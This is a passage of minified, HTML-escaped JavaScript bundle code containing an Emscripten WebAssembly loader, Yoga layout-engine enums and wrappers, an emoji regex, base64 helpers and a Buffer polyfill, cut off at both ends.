0?Rr=fn:(Rr+=&quot;\0&quot;,Rr+=fn),fn=mn+pe)}return oi(ur),Rr},toWireType:function(ur,Gt){typeof Gt!=&quot;string&quot;&amp;&amp;we(&quot;Cannot pass non-string to C++ string type &quot;+Qe);var wr=vt(Gt),Rr=Ha(4+wr+pe);return S[Rr&gt;&gt;2]=wr&gt;&gt;Ot,nt(Gt,Rr+4,wr+pe),ur!==null&amp;&amp;ur.push(oi,Rr),Rr},argPackAdvance:8,readValueFromPointer:rt,V:function(ur){oi(ur)}})},k:function(me,pe,Qe,$e,nt,vt){ce[me]={name:Re(pe),fa:kr(Qe,$e),W:kr(nt,vt),ia:[]}},h:function(me,pe,Qe,$e,nt,vt,Mt,Ot,ur,Gt){ce[me].ia.push({oa:Re(pe),ta:Qe,ra:kr($e,nt),sa:vt,za:Mt,ya:kr(Ot,ur),Aa:Gt})},C:function(me,pe){pe=Re(pe),We(me,{va:!0,name:pe,argPackAdvance:0,fromWireType:function(){},toWireType:function(){}})},s:function(me,pe,Qe,$e,nt){me=Xa[me],pe=ve(pe),Qe=Ma(Qe);var vt=[];return S[$e&gt;&gt;2]=Ne(vt),me(pe,Qe,vt,nt)},t:function(me,pe,Qe,$e){me=Xa[me],pe=ve(pe),Qe=Ma(Qe),me(pe,Qe,null,$e)},g:xi,m:function(me,pe){var Qe=Ua(me,pe),$e=Qe[0];pe=$e.name+&quot;_$&quot;+Qe.slice(1).map(function(Mt){return Mt.name}).join(&quot;_&quot;)+&quot;$&quot;;var nt=pr[pe];if(nt!==void 0)return nt;var vt=Array(me-1);return nt=es((Mt,Ot,ur,Gt)=&gt;{for(var wr=0,Rr=0;Rr&lt;me-1;++Rr)vt[Rr]=Qe[Rr+1].readValueFromPointer(Gt+wr),wr+=Qe[Rr+1].argPackAdvance;for(Mt=Mt[Ot].apply(Mt,vt),Rr=0;Rr&lt;me-1;++Rr)Qe[Rr+1].ma&amp;&amp;Qe[Rr+1].ma(vt[Rr]);if(!$e.va)return $e.toWireType(ur,Mt)}),pr[pe]=nt},D:function(me){4&lt;me&amp;&amp;(de[me].ga+=1)},r:function(me){var pe=ve(me);Le(pe),xi(me)},c:function(){X(&quot;&quot;)},x:function(me,pe,Qe){v.copyWithin(me,pe,pe+Qe)},w:function(me){var pe=v.length;if(me&gt;&gt;&gt;=0,2147483648&lt;me)return!1;for(var Qe=1;4&gt;=Qe;Qe*=2){var $e=pe*(1+.2/Qe);$e=Math.min($e,me+100663296);var nt=Math;$e=Math.max(me,$e),nt=nt.min.call(nt,2147483648,$e+(65536-$e%65536)%65536);e:{try{u.grow(nt-A.byteLength+65535&gt;&gt;&gt;16),Q();var vt=1;break e}catch{}vt=void 0}if(vt)return!0}return!1},z:function(){return 52},u:function(){return 70},y:function(me,pe,Qe,$e){for(var nt=0,vt=0;vt&lt;Qe;vt++){var Mt=S[pe&gt;&gt;2],Ot=S[pe+4&gt;&gt;2];pe+=8;for(var ur=0;ur&lt;Ot;ur++){var Gt=v[Mt+ur],wr=Hs[me];Gt===0||Gt===10?((me===1?l:c)(p(wr,0)),wr.length=0):wr.push(Gt)}nt+=Ot}return S[$e&gt;&gt;2]=nt,0}};(function(){function me(nt){r.asm=nt.exports,u=r.asm.E,Q(),R=r.asm.J,M.unshift(r.asm.F),P--,r.monitorRunDependencies&amp;&amp;r.monitorRunDependencies(P),P==0&amp;&amp;L&amp;&amp;(nt=L,L=null,nt())}function pe(nt){me(nt.instance)}function Qe(nt){return ee().then(function(vt){return WebAssembly.instantiate(vt,$e)}).then(function(vt){return vt}).then(nt,function(vt){c(&quot;failed to asynchronously prepare wasm: &quot;+vt),X(vt)})}var $e={a:qs};if(P++,r.monitorRunDependencies&amp;&amp;r.monitorRunDependencies(P),r.instantiateWasm)try{return r.instantiateWasm($e,me)}catch(nt){c(&quot;Module.instantiateWasm callback failed with error: &quot;+nt),i(nt)}return(function(){return d||typeof WebAssembly.instantiateStreaming!=&quot;function&quot;||W(G)||typeof fetch!=&quot;function&quot;?Qe(pe):fetch(G,{credentials:&quot;same-origin&quot;}).then(function(nt){return WebAssembly.instantiateStreaming(nt,$e).then(pe,function(vt){return c(&quot;wasm streaming compile failed: &quot;+vt),c(&quot;falling back to ArrayBuffer instantiation&quot;),Qe(pe)})})})().catch(i),{}})(),r.___wasm_call_ctors=function(){return(r.___wasm_call_ctors=r.asm.F).apply(null,arguments)};var to=r.___getTypeName=function(){return(to=r.___getTypeName=r.asm.G).apply(null,arguments)};r.__embind_initialize_bindings=function(){return(r.__embind_initialize_bindings=r.asm.H).apply(null,arguments)};var Ha=r._malloc=function(){return(Ha=r._malloc=r.asm.I).apply(null,arguments)},oi=r._free=function(){return(oi=r._free=r.asm.K).apply(null,arguments)};r.dynCall_jiji=function(){return(r.dynCall_jiji=r.asm.L).apply(null,arguments)};var Bs;L=function me(){Bs||Sa(),Bs||(L=me)};function Sa(){function me(){if(!Bs&amp;&amp;(Bs=!0,r.calledRun=!0,!h)){if(ne(M),n(r),r.onRuntimeInitialized&amp;&amp;r.onRuntimeInitialized(),r.postRun)for(typeof r.postRun==&quot;function&quot;&amp;&amp;(r.postRun=[r.postRun]);r.postRun.length;){var pe=r.postRun.shift();O.unshift(pe)}ne(O)}}if(!(0&lt;P)){if(r.preRun)for(typeof r.preRun==&quot;function&quot;&amp;&amp;(r.preRun=[r.preRun]);r.preRun.length;)$();ne(T),0&lt;P||(r.setStatus?(r.setStatus(&quot;Running...&quot;),setTimeout(function(){setTimeout(function(){r.setStatus(&quot;&quot;)},1),me()},1)):me())}}if(r.preInit)for(typeof r.preInit==&quot;function&quot;&amp;&amp;(r.preInit=[r.preInit]);0&lt;r.preInit.length;)r.preInit.pop()();return Sa(),t.ready})})();let uo=(function(e){return e[e.Auto=0]=&quot;Auto&quot;,e[e.FlexStart=1]=&quot;FlexStart&quot;,e[e.Center=2]=&quot;Center&quot;,e[e.FlexEnd=3]=&quot;FlexEnd&quot;,e[e.Stretch=4]=&quot;Stretch&quot;,e[e.Baseline=5]=&quot;Baseline&quot;,e[e.SpaceBetween=6]=&quot;SpaceBetween&quot;,e[e.SpaceAround=7]=&quot;SpaceAround&quot;,e[e.SpaceEvenly=8]=&quot;SpaceEvenly&quot;,e})({}),HQ=(function(e){return e[e.BorderBox=0]=&quot;BorderBox&quot;,e[e.ContentBox=1]=&quot;ContentBox&quot;,e})({}),qQ=(function(e){return e[e.Width=0]=&quot;Width&quot;,e[e.Height=1]=&quot;Height&quot;,e})({}),Z5=(function(e){return e[e.Inherit=0]=&quot;Inherit&quot;,e[e.LTR=1]=&quot;LTR&quot;,e[e.RTL=2]=&quot;RTL&quot;,e})({}),nv=(function(e){return e[e.Flex=0]=&quot;Flex&quot;,e[e.None=1]=&quot;None&quot;,e[e.Contents=2]=&quot;Contents&quot;,e})({}),Xn=(function(e){return e[e.Left=0]=&quot;Left&quot;,e[e.Top=1]=&quot;Top&quot;,e[e.Right=2]=&quot;Right&quot;,e[e.Bottom=3]=&quot;Bottom&quot;,e[e.Start=4]=&quot;Start&quot;,e[e.End=5]=&quot;End&quot;,e[e.Horizontal=6]=&quot;Horizontal&quot;,e[e.Vertical=7]=&quot;Vertical&quot;,e[e.All=8]=&quot;All&quot;,e})({}),SA=(function(e){return e[e.None=0]=&quot;None&quot;,e[e.StretchFlexBasis=1]=&quot;StretchFlexBasis&quot;,e[e.AbsolutePositionWithoutInsetsExcludesPadding=2]=&quot;AbsolutePositionWithoutInsetsExcludesPadding&quot;,e[e.AbsolutePercentAgainstInnerSize=4]=&quot;AbsolutePercentAgainstInnerSize&quot;,e[e.All=2147483647]=&quot;All&quot;,e[e.Classic=2147483646]=&quot;Classic&quot;,e})({}),SDe=(function(e){return e[e.WebFlexBasis=0]=&quot;WebFlexBasis&quot;,e})({}),pm=(function(e){return e[e.Column=0]=&quot;Column&quot;,e[e.ColumnReverse=1]=&quot;ColumnReverse&quot;,e[e.Row=2]=&quot;Row&quot;,e[e.RowReverse=3]=&quot;RowReverse&quot;,e})({}),iv=(function(e){return e[e.Column=0]=&quot;Column&quot;,e[e.Row=1]=&quot;Row&quot;,e[e.All=2]=&quot;All&quot;,e})({}),Zu=(function(e){return e[e.FlexStart=0]=&quot;FlexStart&quot;,e[e.Center=1]=&quot;Center&quot;,e[e.FlexEnd=2]=&quot;FlexEnd&quot;,e[e.SpaceBetween=3]=&quot;SpaceBetween&quot;,e[e.SpaceAround=4]=&quot;SpaceAround&quot;,e[e.SpaceEvenly=5]=&quot;SpaceEvenly&quot;,e})({}),BA=(function(e){return e[e.Error=0]=&quot;Error&quot;,e[e.Warn=1]=&quot;Warn&quot;,e[e.Info=2]=&quot;Info&quot;,e[e.Debug=3]=&quot;Debug&quot;,e[e.Verbose=4]=&quot;Verbose&quot;,e[e.Fatal=5]=&quot;Fatal&quot;,e})({}),nl=(function(e){return e[e.Undefined=0]=&quot;Undefined&quot;,e[e.Exactly=1]=&quot;Exactly&quot;,e[e.AtMost=2]=&quot;AtMost&quot;,e})({}),GQ=(function(e){return e[e.Default=0]=&quot;Default&quot;,e[e.Text=1]=&quot;Text&quot;,e})({}),n1=(function(e){return e[e.Visible=0]=&quot;Visible&quot;,e[e.Hidden=1]=&quot;Hidden&quot;,e[e.Scroll=2]=&quot;Scroll&quot;,e})({}),i1=(function(e){return e[e.Static=0]=&quot;Static&quot;,e[e.Relative=1]=&quot;Relative&quot;,e[e.Absolute=2]=&quot;Absolute&quot;,e})({}),Nd=(function(e){return e[e.Undefined=0]=&quot;Undefined&quot;,e[e.Point=1]=&quot;Point&quot;,e[e.Percent=2]=&quot;Percent&quot;,e[e.Auto=3]=&quot;Auto&quot;,e})({}),a1=(function(e){return e[e.NoWrap=0]=&quot;NoWrap&quot;,e[e.Wrap=1]=&quot;Wrap&quot;,e[e.WrapReverse=2]=&quot;WrapReverse&quot;,e})({});const BDe={ALIGN_AUTO:uo.Auto,ALIGN_FLEX_START:uo.FlexStart,ALIGN_CENTER:uo.Center,ALIGN_FLEX_END:uo.FlexEnd,ALIGN_STRETCH:uo.Stretch,ALIGN_BASELINE:uo.Baseline,ALIGN_SPACE_BETWEEN:uo.SpaceBetween,ALIGN_SPACE_AROUND:uo.SpaceAround,ALIGN_SPACE_EVENLY:uo.SpaceEvenly,BOX_SIZING_BORDER_BOX:HQ.BorderBox,BOX_SIZING_CONTENT_BOX:HQ.ContentBox,DIMENSION_WIDTH:qQ.Width,DIMENSION_HEIGHT:qQ.Height,DIRECTION_INHERIT:Z5.Inherit,DIRECTION_LTR:Z5.LTR,DIRECTION_RTL:Z5.RTL,DISPLAY_FLEX:nv.Flex,DISPLAY_NONE:nv.None,DISPLAY_CONTENTS:nv.Contents,EDGE_LEFT:Xn.Left,EDGE_TOP:Xn.Top,EDGE_RIGHT:Xn.Right,EDGE_BOTTOM:Xn.Bottom,EDGE_START:Xn.Start,EDGE_END:Xn.End,EDGE_HORIZONTAL:Xn.Horizontal,EDGE_VERTICAL:Xn.Vertical,EDGE_ALL:Xn.All,ERRATA_NONE:SA.None,ERRATA_STRETCH_FLEX_BASIS:SA.StretchFlexBasis,ERRATA_ABSOLUTE_POSITION_WITHOUT_INSETS_EXCLUDES_PADDING:SA.AbsolutePositionWithoutInsetsExcludesPadding,ERRATA_ABSOLUTE_PERCENT_AGAINST_INNER_SIZE:SA.AbsolutePercentAgainstInnerSize,ERRATA_ALL:SA.All,ERRATA_CLASSIC:SA.Classic,EXPERIMENTAL_FEATURE_WEB_FLEX_BASIS:SDe.WebFlexBasis,FLEX_DIRECTION_COLUMN:pm.Column,FLEX_DIRECTION_COLUMN_REVERSE:pm.ColumnReverse,FLEX_DIRECTION_ROW:pm.Row,FLEX_DIRECTION_ROW_REVERSE:pm.RowReverse,GUTTER_COLUMN:iv.Column,GUTTER_ROW:iv.Row,GUTTER_ALL:iv.All,JUSTIFY_FLEX_START:Zu.FlexStart,JUSTIFY_CENTER:Zu.Center,JUSTIFY_FLEX_END:Zu.FlexEnd,JUSTIFY_SPACE_BETWEEN:Zu.SpaceBetween,JUSTIFY_SPACE_AROUND:Zu.SpaceAround,JUSTIFY_SPACE_EVENLY:Zu.SpaceEvenly,LOG_LEVEL_ERROR:BA.Error,LOG_LEVEL_WARN:BA.Warn,LOG_LEVEL_INFO:BA.Info,LOG_LEVEL_DEBUG:BA.Debug,LOG_LEVEL_VERBOSE:BA.Verbose,LOG_LEVEL_FATAL:BA.Fatal,MEASURE_MODE_UNDEFINED:nl.Undefined,MEASURE_MODE_EXACTLY:nl.Exactly,MEASURE_MODE_AT_MOST:nl.AtMost,NODE_TYPE_DEFAULT:GQ.Default,NODE_TYPE_TEXT:GQ.Text,OVERFLOW_VISIBLE:n1.Visible,OVERFLOW_HIDDEN:n1.Hidden,OVERFLOW_SCROLL:n1.Scroll,POSITION_TYPE_STATIC:i1.Static,POSITION_TYPE_RELATIVE:i1.Relative,POSITION_TYPE_ABSOLUTE:i1.Absolute,UNIT_UNDEFINED:Nd.Undefined,UNIT_POINT:Nd.Point,UNIT_PERCENT:Nd.Percent,UNIT_AUTO:Nd.Auto,WRAP_NO_WRAP:a1.NoWrap,WRAP_WRAP:a1.Wrap,WRAP_WRAP_REVERSE:a1.WrapReverse};function kDe(e){function t(i,s,o){const l=i[s];i[s]=function(){for(var c=arguments.length,d=new Array(c),u=0;u&lt;c;u++)d[u]=arguments[u];return o.call(this,l,...d)}}for(const i of[&quot;setPosition&quot;,&quot;setMargin&quot;,&quot;setFlexBasis&quot;,&quot;setWidth&quot;,&quot;setHeight&quot;,&quot;setMinWidth&quot;,&quot;setMinHeight&quot;,&quot;setMaxWidth&quot;,&quot;setMaxHeight&quot;,&quot;setPadding&quot;,&quot;setGap&quot;]){const s={[Nd.Point]:e.Node.prototype[i],[Nd.Percent]:e.Node.prototype[`${i}Percent`],[Nd.Auto]:e.Node.prototype[`${i}Auto`]};t(e.Node.prototype,i,function(o){for(var l=arguments.length,c=new Array(l&gt;1?l-1:0),d=1;d&lt;l;d++)c[d-1]=arguments[d];const u=c.pop();let h,p;if(u===&quot;auto&quot;)h=Nd.Auto,p=void 0;else if(typeof u==&quot;object&quot;)h=u.unit,p=u.valueOf();else if(h=typeof u==&quot;string&quot;&amp;&amp;u.endsWith(&quot;%&quot;)?Nd.Percent:Nd.Point,p=parseFloat(u),u!==void 0&amp;&amp;!Number.isNaN(u)&amp;&amp;Number.isNaN(p))throw new Error(`Invalid value ${u} for ${i}`);if(!s[h])throw new Error(`Failed to execute &quot;${i}&quot;: Unsupported unit &#039;${u}&#039;`);return p!==void 0?s[h].call(this,...c,p):s[h].call(this,...c)})}function r(i){return e.MeasureCallback.implement({measure:function(){const{width:s,height:o}=i(...arguments);return{width:s??NaN,height:o??NaN}}})}t(e.Node.prototype,&quot;setMeasureFunc&quot;,function(i,s){return s?i.call(this,r(s)):this.unsetMeasureFunc()});function n(i){return e.DirtiedCallback.implement({dirtied:i})}return t(e.Node.prototype,&quot;setDirtiedFunc&quot;,function(i,s){i.call(this,n(s))}),t(e.Config.prototype,&quot;free&quot;,function(){e.Config.destroy(this)}),t(e.Node,&quot;create&quot;,(i,s)=&gt;s?e.Node.createWithConfig(s):e.Node.createDefault()),t(e.Node.prototype,&quot;free&quot;,function(){e.Node.destroy(this)}),t(e.Node.prototype,&quot;freeRecursive&quot;,function(){for(let i=0,s=this.getChildCount();i&lt;s;++i)this.getChild(0).freeRecursive();this.free()}),t(e.Node.prototype,&quot;calculateLayout&quot;,function(i){let s=arguments.length&gt;1&amp;&amp;arguments[1]!==void 0?arguments[1]:NaN,o=arguments.length&gt;2&amp;&amp;arguments[2]!==void 0?arguments[2]:NaN,l=arguments.length&gt;3&amp;&amp;arguments[3]!==void 0?arguments[3]:Z5.LTR;return i.call(this,s,o,l)}),{Config:e.Config,Node:e.Node,...BDe}}async function _De(){return kDe(await NDe())}const w8=String.raw,VQ=w8`(?:\p{Emoji}\uFE0F\u20E3?|\p{Emoji_Modifier_Base}\p{Emoji_Modifier}?|\p{Emoji_Presentation})`,WQ=w8`\u{E0061}-\u{E007A}`,DDe=()=&gt;new RegExp(w8`[\u{1F1E6}-\u{1F1FF}]{2}|\u{1F3F4}[${WQ}]{2}[\u{E0030}-\u{E0039}${WQ}]{1,3}\u{E007F}|${VQ}(?:\u200D${VQ})*`,&quot;gu&quot;);var KQ=typeof global&lt;&quot;u&quot;?global:typeof self&lt;&quot;u&quot;?self:typeof window&lt;&quot;u&quot;?window:{},Qd=[],Ku=[],TDe=typeof Uint8Array&lt;&quot;u&quot;?Uint8Array:Array,E8=!1;function YW(){E8=!0;for(var e=&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&quot;,t=0,r=e.length;t&lt;r;++t)Qd[t]=e[t],Ku[e.charCodeAt(t)]=t;Ku[45]=62,Ku[95]=63}function RDe(e){E8||YW();var t,r,n,i,s,o,l=e.length;if(l%4&gt;0)throw new Error(&quot;Invalid string. Length must be a multiple of 4&quot;);s=e[l-2]===&quot;=&quot;?2:e[l-1]===&quot;=&quot;?1:0,o=new TDe(l*3/4-s),n=s&gt;0?l-4:l;var c=0;for(t=0,r=0;t&lt;n;t+=4,r+=3)i=Ku[e.charCodeAt(t)]&lt;&lt;18|Ku[e.charCodeAt(t+1)]&lt;&lt;12|Ku[e.charCodeAt(t+2)]&lt;&lt;6|Ku[e.charCodeAt(t+3)],o[c++]=i&gt;&gt;16&amp;255,o[c++]=i&gt;&gt;8&amp;255,o[c++]=i&amp;255;return s===2?(i=Ku[e.charCodeAt(t)]&lt;&lt;2|Ku[e.charCodeAt(t+1)]&gt;&gt;4,o[c++]=i&amp;255):s===1&amp;&amp;(i=Ku[e.charCodeAt(t)]&lt;&lt;10|Ku[e.charCodeAt(t+1)]&lt;&lt;4|Ku[e.charCodeAt(t+2)]&gt;&gt;2,o[c++]=i&gt;&gt;8&amp;255,o[c++]=i&amp;255),o}function PDe(e){return Qd[e&gt;&gt;18&amp;63]+Qd[e&gt;&gt;12&amp;63]+Qd[e&gt;&gt;6&amp;63]+Qd[e&amp;63]}function QDe(e,t,r){for(var n,i=[],s=t;s&lt;r;s+=3)n=(e[s]&lt;&lt;16)+(e[s+1]&lt;&lt;8)+e[s+2],i.push(PDe(n));return i.join(&quot;&quot;)}function YQ(e){E8||YW();for(var t,r=e.length,n=r%3,i=&quot;&quot;,s=[],o=16383,l=0,c=r-n;l&lt;c;l+=o)s.push(QDe(e,l,l+o&gt;c?c:l+o));return n===1?(t=e[r-1],i+=Qd[t&gt;&gt;2],i+=Qd[t&lt;&lt;4&amp;63],i+=&quot;==&quot;):n===2&amp;&amp;(t=(e[r-2]&lt;&lt;8)+e[r-1],i+=Qd[t&gt;&gt;10],i+=Qd[t&gt;&gt;4&amp;63],i+=Qd[t&lt;&lt;2&amp;63],i+=&quot;=&quot;),s.push(i),s.join(&quot;&quot;)}function TE(e,t,r,n,i){var s,o,l=i*8-n-1,c=(1&lt;&lt;l)-1,d=c&gt;&gt;1,u=-7,h=r?i-1:0,p=r?-1:1,A=e[t+h];for(h+=p,s=A&amp;(1&lt;&lt;-u)-1,A&gt;&gt;=-u,u+=l;u&gt;0;s=s*256+e[t+h],h+=p,u-=8);for(o=s&amp;(1&lt;&lt;-u)-1,s&gt;&gt;=-u,u+=n;u&gt;0;o=o*256+e[t+h],h+=p,u-=8);if(s===0)s=1-d;else{if(s===c)return o?NaN:(A?-1:1)*(1/0);o=o+Math.pow(2,n),s=s-d}return(A?-1:1)*o*Math.pow(2,s-n)}function ZW(e,t,r,n,i,s){var o,l,c,d=s*8-i-1,u=(1&lt;&lt;d)-1,h=u&gt;&gt;1,p=i===23?Math.pow(2,-24)-Math.pow(2,-77):0,A=n?0:s-1,y=n?1:-1,v=t&lt;0||t===0&amp;&amp;1/t&lt;0?1:0;for(t=Math.abs(t),isNaN(t)||t===1/0?(l=isNaN(t)?1:0,o=u):(o=Math.floor(Math.log(t)/Math.LN2),t*(c=Math.pow(2,-o))&lt;1&amp;&amp;(o--,c*=2),o+h&gt;=1?t+=p/c:t+=p*Math.pow(2,1-h),t*c&gt;=2&amp;&amp;(o++,c/=2),o+h&gt;=u?(l=0,o=u):o+h&gt;=1?(l=(t*c-1)*Math.pow(2,i),o=o+h):(l=t*Math.pow(2,h-1)*Math.pow(2,i),o=0));i&gt;=8;e[r+A]=l&amp;255,A+=y,l/=256,i-=8);for(o=o&lt;&lt;i|l,d+=i;d&gt;0;e[r+A]=o&amp;255,A+=y,o/=256,d-=8);e[r+A-y]|=v*128}var FDe={}.toString,JW=Array.isArray||function(e){return FDe.call(e)==&quot;[object Array]&quot;};var ODe=50;qt.TYPED_ARRAY_SUPPORT=KQ.TYPED_ARRAY_SUPPORT!==void 0?KQ.TYPED_ARRAY_SUPPORT:!0;$w();function $w(){return qt.TYPED_ARRAY_SUPPORT?2147483647:1073741823}function Vf(e,t){if($w()&lt;t)throw new RangeError(&quot;Invalid typed array length&quot;);return qt.TYPED_ARRAY_SUPPORT?(e=new Uint8Array(t),e.__proto__=qt.prototype):(e===null&amp;&amp;(e=new qt(t)),e.length=t),e}function qt(e,t,r){if(!qt.TYPED_ARRAY_SUPPORT&amp;&amp;!(this instanceof qt))return new qt(e,t,r);if(typeof e==&quot;number&quot;){if(typeof t==&quot;string&quot;)throw new Error(&quot;If encoding is specified then the first argument must be a string&quot;);return C8(this,e)}return XW(this,e,t,r)}qt.poolSize=8192;qt._augment=function(e){return e.__proto__=qt.prototype,e};function XW(e,t,r,n){if(typeof t==&quot;number&quot;)throw new TypeError(&#039;&quot;value&quot; argument must not be a number&#039;);return typeof ArrayBuffer&lt;&quot;u&quot;&amp;&amp;t instanceof ArrayBuffer?UDe(e,t,r,n):typeof t==&quot;string&quot;?MDe(e,t,r):zDe(e,t)}qt.from=function(e,t,r){return XW(null,e,t,r)};qt.TYPED_ARRAY_SUPPORT&amp;&amp;(qt.prototype.__proto__=Uint8Array.prototype,qt.__proto__=Uint8Array,typeof Symbol&lt;&quot;u&quot;&amp;&amp;Symbol.species&amp;&amp;qt[Symbol.species]);function eK(e){if(typeof e!=&quot;number&quot;)throw new TypeError(&#039;&quot;size&quot; argument must be a number&#039;);if(e&lt;0)throw new RangeError(&#039;&quot;size&quot; argument must not be negative&#039;)}function LDe(e,t,r,n){return eK(t),t&lt;=0?Vf(e,t):r!==void 0?typeof n==&quot;string&quot;?Vf(e,t).fill(r,n):Vf(e,t).fill(r):Vf(e,t)}qt.alloc=function(e,t,r){return LDe(null,e,t,r)};function C8(e,t){if(eK(t),e=Vf(e,t&lt;0?0:I8(t)|0),!qt.TYPED_ARRAY_SUPPORT)for(var r=0;r&lt;t;++r)e[r]=0;return e}qt.allocUnsafe=function(e){return C8(null,e)};qt.allocUnsafeSlow=function(e){return C8(null,e)};function MDe(e,t,r){if((typeof r!=&quot;string&quot;||r===&quot;&quot;)&amp;&amp;(r=&quot;utf8&quot;),!qt.isEncoding(r))throw new TypeError(&#039;&quot;encoding&quot; must be a valid string encoding&#039;);var n=tK(t,r)|0;e=Vf(e,n);var i=e.write(t,r);return i!==n&amp;&amp;(e=e.slice(0,i)),e}function t6(e,t){var r=t.length&lt;0?0:I8(t.length)|0;e=Vf(e,r);for(var n=0;n&lt;r;n+=1)e[n]=t[n]&amp;255;return e}function UDe(e,t,r,n){if(t.byteLength,r&lt;0||t.byteLength&lt;r)throw new RangeError(&quot;&#039;offset&#039; is out of bounds&quot;);if(t.byteLength&lt;r+(n||0))throw new RangeError(&quot;&#039;length&#039; is out of bounds&quot;);return r===void 0&amp;&amp;n===void 0?t=new Uint8Array(t):n===void 0?t=new Uint8Array(t,r):t=new Uint8Array(t,r,n),qt.TYPED_ARRAY_SUPPORT?(e=t,e.__proto__=qt.prototype):e=t6(e,t),e}function zDe(e,t){if(ef(t)){var r=I8(t.length)|0;return e=Vf(e,r),e.length===0||t.copy(e,0,0,r),e}if(t){if(typeof ArrayBuffer&lt;&quot;u&quot;&amp;&amp;t.buffer instanceof ArrayBuffer||&quot;length&quot;in t)return typeof t.length!=&quot;number&quot;||o7e(t.length)?Vf(e,0):t6(e,t);if(t.type===&quot;Buffer&quot;&amp;&amp;JW(t.data))return t6(e,t.data)}throw new TypeError(&quot;First argument must be a string, Buffer, ArrayBuffer, Array, or array-like object.&quot;)}function I8(e){if(e&gt;=$w())throw new RangeError(&quot;Attempt to allocate Buffer larger than maximum size: 0x&quot;+$w().toString(16)+&quot; bytes&quot;);return e|0}qt.isBuffer=l7e;function ef(e){return!!(e!=null&amp;&amp;e._isBuffer)}qt.compare=function(t,r){if(!ef(t)||!ef(r))throw new TypeError(&quot;Arguments must be Buffers&quot;);if(t===r)return 0;for(var n=t.length,i=r.length,s=0,o=Math.min(n,i);s&lt;o;++s)if(t[s]!==r[s]){n=t[s],i=r[s];break}return n&lt;i?-1:i&lt;n?1:0};qt.isEncoding=function(t){switch(String(t).toLowerCase()){case&quot;hex&quot;:case&quot;utf8&quot;:case&quot;utf-8&quot;:case&quot;ascii&quot;:case&quot;latin1&quot;:case&quot;binary&quot;:case&quot;base64&quot;:case&quot;ucs2&quot;:case&quot;ucs-2&quot;:case&quot;utf16le&quot;:case&quot;utf-16le&quot;:return!0;default:return!1}};qt.concat=function(t,r){if(!JW(t))throw new TypeError(&#039;&quot;list&quot; argument must be an Array of Buffers&#039;);if(t.length===0)return qt.alloc(0);var n;if(r===void 0)for(r=0,n=0;n&lt;t.length;++n)r+=t[n].length;var i=qt.allocUnsafe(r),s=0;for(n=0;n&lt;t.length;++n){var o=t[n];if(!ef(o))throw new TypeError(&#039;&quot;list&quot; argument must be an Array of Buffers&#039;);o.copy(i,s),s+=o.length}return i};function tK(e,t){if(ef(e))return e.length;if(typeof ArrayBuffer&lt;&quot;u&quot;&amp;&amp;typeof ArrayBuffer.isView==&quot;function&quot;&amp;&amp;(ArrayBuffer.isView(e)||e instanceof ArrayBuffer))return e.byteLength;typeof e!=&quot;string&quot;&amp;&amp;(e=&quot;&quot;+e);var r=e.length;if(r===0)return 0;for(var n=!1;;)switch(t){case&quot;ascii&quot;:case&quot;latin1&quot;:case&quot;binary&quot;:return r;case&quot;utf8&quot;:case&quot;utf-8&quot;:case void 0:return Hw(e).length;case&quot;ucs2&quot;:case&quot;ucs-2&quot;:case&quot;utf16le&quot;:case&quot;utf-16le&quot;:return r*2;case&quot;hex&quot;:return r&gt;&gt;&gt;1;case&quot;base64&quot;:return lK(e).length;default:if(n)return Hw(e).length;t=(&quot;&quot;+t).toLowerCase(),n=!0}}qt.byteLength=tK;function $De(e,t,r){var n=!1;if((t===void 0||t&lt;0)&amp;&amp;(t=0),t&gt;this.length||((r===void 0||r&gt;this.length)&amp;&amp;(r=this.length),r&lt;=0)||(r&gt;&gt;&gt;=0,t&gt;&gt;&gt;=0,r&lt;=t))return&quot;&quot;;for(e||(e=&quot;utf8&quot;);;)switch(e){case&quot;hex&quot;:return XDe(this,t,r);case&quot;utf8&quot;:case&quot;utf-8&quot;:return iK(this,t,r);case&quot;ascii&quot;:return ZDe(this,t,r);case&quot;latin1&quot;:case&quot;binary&quot;:return JDe(this,t,r);case&quot;base64&quot;:return KDe(this,t,r);case&quot;ucs2&quot;:case&quot;ucs-2&quot;:case&quot;utf16le&quot;:case&quot;utf-16le&quot;:return e7e(this,t,r);default:if(n)throw new TypeError(&quot;Unknown encoding: &quot;+e);e=(e+&quot;&quot;).toLowerCase(),n=!0}}qt.prototype._isBuffer=!0;function ng(e,t,r){var n=e[t];e[t]=e[r],e[r]=n}qt.prototype.swap16=function(){var t=this.length;if(t%2!==0)throw new RangeError(&quot;Buffer size must be a multiple of 16-bits&quot;);for(var r=0;r&lt;t;r+=2)ng(this,r,r+1);return this};qt.prototype.swap32=function(){var t=this.length;if(t%4!==0)throw new RangeError(&quot;Buffer size must be a multiple of 32-bits&quot;);for(var r=0;r&lt;t;r+=4)ng(this,r,r+3),ng(this,r+1,r+2);return this};qt.prototype.swap64=function(){var t=this.length;if(t%8!==0)throw new RangeError(&quot;Buffer size must be a multiple of 64-bits&quot;);for(var r=0;r&lt;t;r+=8)ng(this,r,r+7),ng(this,r+1,r+6),ng(this,r+2,r+5),ng(this,r+3,r+4);return this};qt.prototype.toString=function(){var t=this.length|0;return t===0?&quot;&quot;:arguments.length===0?iK(this,0,t):$De.apply(this,arguments)};qt.prototype.equals=function(t){if(!ef(t))throw new TypeError(&quot;Argument must be a Buffer&quot;);return this===t?!0:qt.compare(this,t)===0};qt.prototype.inspect=function(){var t=&quot;&quot;,r=ODe;return this.length&gt;0&amp;&amp;(t=this.toString(&quot;hex&quot;,0,r).match(/.{2}/g).join(&quot; &quot;),this.length&gt;r&amp;&amp;(t+=&quot; ... &quot;)),&quot;&lt;Buffer &quot;+t+&quot;&gt;&quot;};qt.prototype.compare=function(t,r,n,i,s){if(!ef(t))throw new TypeError(&quot;Argument must be a Buffer&quot;);if(r===void 0&amp;&amp;(r=0),n===void 0&amp;&amp;(n=t?t.length:0),i===void 0&amp;&amp;(i=0),s===void 0&amp;&amp;(s=this.length),r&lt;0||n&gt;t.length||i&lt;0||s&gt;this.length)throw new RangeError(&quot;out of range index&quot;);if(i&gt;=s&amp;&amp;r&gt;=n)return 0;if(i&gt;=s)return-1;if(r&gt;=n)return 1;if(r&gt;&gt;&gt;=0,n&gt;&gt;&gt;=0,i&gt;&gt;&gt;=0,s&gt;&gt;&gt;=0,this===t)return 0;for(var o=s-i,l=n-r,c=Math.min(o,l),d=this.slice(i,s),u=t.slice(r,n),h=0;h&lt;c;++h)if(d[h]!==u[h]){o=d[h],l=u[h];break}return o&lt;l?-1:l&lt;o?1:0};function 